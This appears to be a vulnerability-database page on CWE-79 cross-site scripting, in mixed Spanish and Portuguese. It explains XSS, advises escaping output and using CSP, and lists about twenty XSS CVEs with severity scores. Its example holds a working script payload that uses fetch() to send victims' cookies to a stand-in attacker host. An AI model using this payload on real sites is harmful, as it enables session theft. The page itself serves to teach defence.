Fallos del tipo CWE-79

29.825 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2024-13699MEDIUMQi Addons For Elementor <= 1.8.7 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.4%CVE-2026-35574HIGHChurchCRM has a Stored XSS in Person Profile - Add a NoteEPSS 0.4%CVE-2026-39336MEDIUMChurchCRM has Stored XSS from unescaped config values in HTML attributesEPSS 0.4%CVE-2024-4392MEDIUMJetpack – WP Security, Backup, Speed, & Growth <= 13.3.1 - Authenticated (Contributor+) Stored Cross-Site Scripting via wpvideo ShortcodeEPSS 0.4%CVE-2023-0322MEDIUMXSS in Talent Software UNISEPSS 0.4%CVE-2024-40579MEDIUMCross Site Scripting vulnerability in Virtuozzo Hybrid Server for WHMCS Open Source v.1.7.1 allows a remote attacker to obtain sensitive infEPSS 0.4%CVE-2023-1766MEDIUMXSS in PanonEPSS 0.4%CVE-2022-47153HIGHWordPress Jobeleon theme <= 1.9.1 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2022-23790MEDIUMXSS in Firmanet Software and Technology Customer Relation ManagerEPSS 0.4%CVE-2026-44721HIGHOpen WebUI: Stored XSS via Model DescriptionEPSS 0.4%CVE-2026-33738MEDIUMLychee Vulnerable to Stored XSS via Photo Description in RSS/Atom/JSON Feed (No Sanitization on Public Endpoint)EPSS 0.4%CVE-2025-5254MEDIUMStored XSS in Kron Technologies' Kron PAMEPSS 0.4%CVE-2023-0010MEDIUMPAN-OS: Reflected Cross-Site Scripting (XSS) Vulnerability in Captive Portal AuthenticationEPSS 0.4%CVE-2026-44549HIGHOpen WebUI: Stored XSS in excel file previewEPSS 0.4%CVE-2026-44729HIGHTwenty: Stored Cross-Site Scripting via Unsanitized File Serving (Missing Content-Type/Content-Disposition Headers)EPSS 0.4%CVE-2024-22148HIGHWordPress WP Smart Editor Plugin <= 1.3.3 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2026-100178HIGHWPAdverts <= 2.3.4 - Unauthenticated Stored Cross-Site Scripting via 'adverts_location' ParameterEPSS 0.4%CVE-2024-29129HIGHWordPress OxyExtras plugin <= 1.4.3 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2019-16151MEDIUMAn improper neutralization of input during web page generation vulnerability [CWE-79] in FortiOS 6.4.1 and below, 6.2.9 and below may allow EPSS 0.4%CVE-2023-1841HIGHHoneywell MPA2 Web Application XSS vulnerabilityEPSS 0.4%